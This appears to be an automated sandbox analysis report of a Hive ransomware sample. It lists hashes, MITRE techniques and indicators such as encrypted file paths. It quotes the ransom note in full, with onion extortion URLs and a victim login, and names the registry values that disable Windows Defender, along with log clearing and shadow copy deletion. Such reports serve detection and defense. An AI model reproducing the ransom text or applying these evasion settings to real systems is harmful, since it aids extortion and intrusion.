hive | af9e8f301a3677b457345921d7ee765a842eceb7df107714eaffc6193bfc6bbe

Resubmissions

12/02/2024, 06:38

240212-hd166sgg25 10

12/02/2024, 06:21

240212-g4tdksgd86 7

Analysis

max time kernel
65s
max time network
276s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
12/02/2024, 06:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

211xahcou.exe
Size

3.9MB
MD5

0e4d44dde522c07d09d9e3086cfae803
SHA1

d8dc26e2094869a0da78ecb47494c931419302dc
SHA256

33aceb3dc0681a56226d4cfce32eee7a431e66f5c746a4d6dc7506a72b317277
SHA512

ac1f269b028217210a72fc5c2e0cb07461e2ff896f8b5ba65771787f99ec34b0f9951cf73d9d387086f79c348c343d147aebc2fd5b7e18da009bc2041e2eee06
SSDEEP

49152:e2NiZPNNirb/T2vO90dL3BmAFd4A64nsfJk0NuXCdmTQb0/6VCrrPrsbg11VgWA2:e2ANB04yIa0hsirubO

Score

10^/10

hive evasion ransomware spyware stealer trojan

Malware Config

Extracted

Path

C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\n8pw_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note

Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: fTP4dtHQ51ZX Password: 7zC1gVatfxGNUwxnLe4e To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.cv2gj files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.

URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
1056	MpCmdRun.exe

Hive
A ransomware written in Golang first seen in June 2021.
ransomware hive

Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4"	reg.exe

Clears Windows event logs 1 TTPs 3 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
1784	wevtutil.exe
760	wevtutil.exe
1008	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1076	bcdedit.exe
1520	bcdedit.exe

Renames multiple (1384) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Renames multiple (4179) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.security.win32.x86_64_1.0.100.v20130327-1442.jar.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_IAAAACAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-nodes_zh_CN.jar.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Guam.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0382948.JPG.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0400002.PNG.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_IAAAACAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\MANIFEST.MF.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_IAAAACAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0150150.WMF.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_IAAAACAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Fonts\Technic.xml.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\Stationery\Stars.jpg	211xahcou.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\main\base_ca.xml	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\AN04174_.WMF.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\da-DK\tipresx.dll.mui	211xahcou.exe
File opened for modification	C:\Program Files\Windows Media Player\it-IT\wmlaunch.exe.mui	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099189.JPG.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\ipsita.xml	211xahcou.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\btn-back-static.png	211xahcou.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\extensions\VLSub.luac.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_IAAAACAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107544.WMF.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA02386_.WMF.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18180_.WMF.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\7-Zip\Lang\az.txt.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\com.jrockit.mc.rjmx.attributeTransformation.exsd.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\DismountShow.vstm.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\CST6CDT.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\30.png	211xahcou.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_es.jar.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\access-bridge-64.jar.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\ant-javafx.jar.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui_5.5.0.165303.jar.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH02069J.JPG.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00152_.WMF.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Common Files\System\Ole DB\fr-FR\oledb32r.dll.mui	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Colors\Apothecary.xml.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Colors\Origin.xml.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia.api.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\com.jrockit.mc.rcp.product_root_5.5.0.165303.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-ui_ja.jar.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\images\square.png	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Common Files\Services\verisign.bmp.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\LINES\BD14711_.GIF.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Bangkok.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18243_.WMF.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Calendar.Gadget\images\bPrev-down.png	211xahcou.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\en-US\css\picturePuzzle.css	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0153087.WMF.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Internet Explorer\en-US\F12Tools.dll.mui	211xahcou.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-snaptracer_ja.jar.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\images\modern_h.png	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA02093_.WMF.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PARNT_05.MID.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18222_.WMF.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64.nl_zh_4.4.0.v20140623020002.jar.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\hint_up.png	211xahcou.exe
File opened for modification	C:\Program Files\Windows Sidebar\en-US\sbdrop.dll.mui	211xahcou.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\leftnav.gif.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\images\settings_left_hover.png	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BL00194_.WMF.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\include\win32\bridge\AccessBridgeCalls.c.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-jvmstat.jar.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\WB01842_.GIF.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\artifacts.xml.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-keyring.xml.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_IAAAACAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jetty.servlet_8.1.14.v20131031.jar.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_IAAAACAAAAA0.cv2gj	211xahcou.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3004	sc.exe
3052	sc.exe
2408	sc.exe
2676	sc.exe
2784	sc.exe
2540	sc.exe
2880	sc.exe
2872	sc.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
916	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 26 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "3"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{6182A781-C971-11EE-9DB1-EEC5CD00071E} = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
3608	notepad.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1596	powershell.exe
2716	powershell.exe
1688	211xahcou.exe
2016	chrome.exe
2016	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	1784	wevtutil.exe
Token: SeBackupPrivilege	1784	wevtutil.exe
Token: SeSecurityPrivilege	760	wevtutil.exe
Token: SeBackupPrivilege	760	wevtutil.exe
Token: SeSecurityPrivilege	1008	wevtutil.exe
Token: SeBackupPrivilege	1008	wevtutil.exe
Token: SeIncreaseQuotaPrivilege	1868	wmic.exe
Token: SeSecurityPrivilege	1868	wmic.exe
Token: SeTakeOwnershipPrivilege	1868	wmic.exe
Token: SeLoadDriverPrivilege	1868	wmic.exe
Token: SeSystemProfilePrivilege	1868	wmic.exe
Token: SeSystemtimePrivilege	1868	wmic.exe
Token: SeProfSingleProcessPrivilege	1868	wmic.exe
Token: SeIncBasePriorityPrivilege	1868	wmic.exe
Token: SeCreatePagefilePrivilege	1868	wmic.exe
Token: SeBackupPrivilege	1868	wmic.exe
Token: SeRestorePrivilege	1868	wmic.exe
Token: SeShutdownPrivilege	1868	wmic.exe
Token: SeDebugPrivilege	1868	wmic.exe
Token: SeSystemEnvironmentPrivilege	1868	wmic.exe
Token: SeRemoteShutdownPrivilege	1868	wmic.exe
Token: SeUndockPrivilege	1868	wmic.exe
Token: SeManageVolumePrivilege	1868	wmic.exe
Token: 33	1868	wmic.exe
Token: 34	1868	wmic.exe
Token: 35	1868	wmic.exe
Token: SeIncreaseQuotaPrivilege	2176	wmic.exe
Token: SeSecurityPrivilege	2176	wmic.exe
Token: SeTakeOwnershipPrivilege	2176	wmic.exe
Token: SeLoadDriverPrivilege	2176	wmic.exe
Token: SeSystemProfilePrivilege	2176	wmic.exe
Token: SeSystemtimePrivilege	2176	wmic.exe
Token: SeProfSingleProcessPrivilege	2176	wmic.exe
Token: SeIncBasePriorityPrivilege	2176	wmic.exe
Token: SeCreatePagefilePrivilege	2176	wmic.exe
Token: SeBackupPrivilege	2176	wmic.exe
Token: SeRestorePrivilege	2176	wmic.exe
Token: SeShutdownPrivilege	2176	wmic.exe
Token: SeDebugPrivilege	2176	wmic.exe
Token: SeSystemEnvironmentPrivilege	2176	wmic.exe
Token: SeRemoteShutdownPrivilege	2176	wmic.exe
Token: SeUndockPrivilege	2176	wmic.exe
Token: SeManageVolumePrivilege	2176	wmic.exe
Token: 33	2176	wmic.exe
Token: 34	2176	wmic.exe
Token: 35	2176	wmic.exe
Token: SeIncreaseQuotaPrivilege	2176	wmic.exe
Token: SeSecurityPrivilege	2176	wmic.exe
Token: SeTakeOwnershipPrivilege	2176	wmic.exe
Token: SeLoadDriverPrivilege	2176	wmic.exe
Token: SeSystemProfilePrivilege	2176	wmic.exe
Token: SeSystemtimePrivilege	2176	wmic.exe
Token: SeProfSingleProcessPrivilege	2176	wmic.exe
Token: SeIncBasePriorityPrivilege	2176	wmic.exe
Token: SeCreatePagefilePrivilege	2176	wmic.exe
Token: SeBackupPrivilege	2176	wmic.exe
Token: SeRestorePrivilege	2176	wmic.exe
Token: SeShutdownPrivilege	2176	wmic.exe
Token: SeDebugPrivilege	2176	wmic.exe
Token: SeSystemEnvironmentPrivilege	2176	wmic.exe
Token: SeRemoteShutdownPrivilege	2176	wmic.exe
Token: SeUndockPrivilege	2176	wmic.exe
Token: SeManageVolumePrivilege	2176	wmic.exe
Token: 33	2176	wmic.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
1652	iexplore.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe
2016	chrome.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1652	iexplore.exe
1652	iexplore.exe
1516	IEXPLORE.EXE
1516	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1688 wrote to memory of 2744	1688	211xahcou.exe	28
PID 1688 wrote to memory of 2744	1688	211xahcou.exe	28
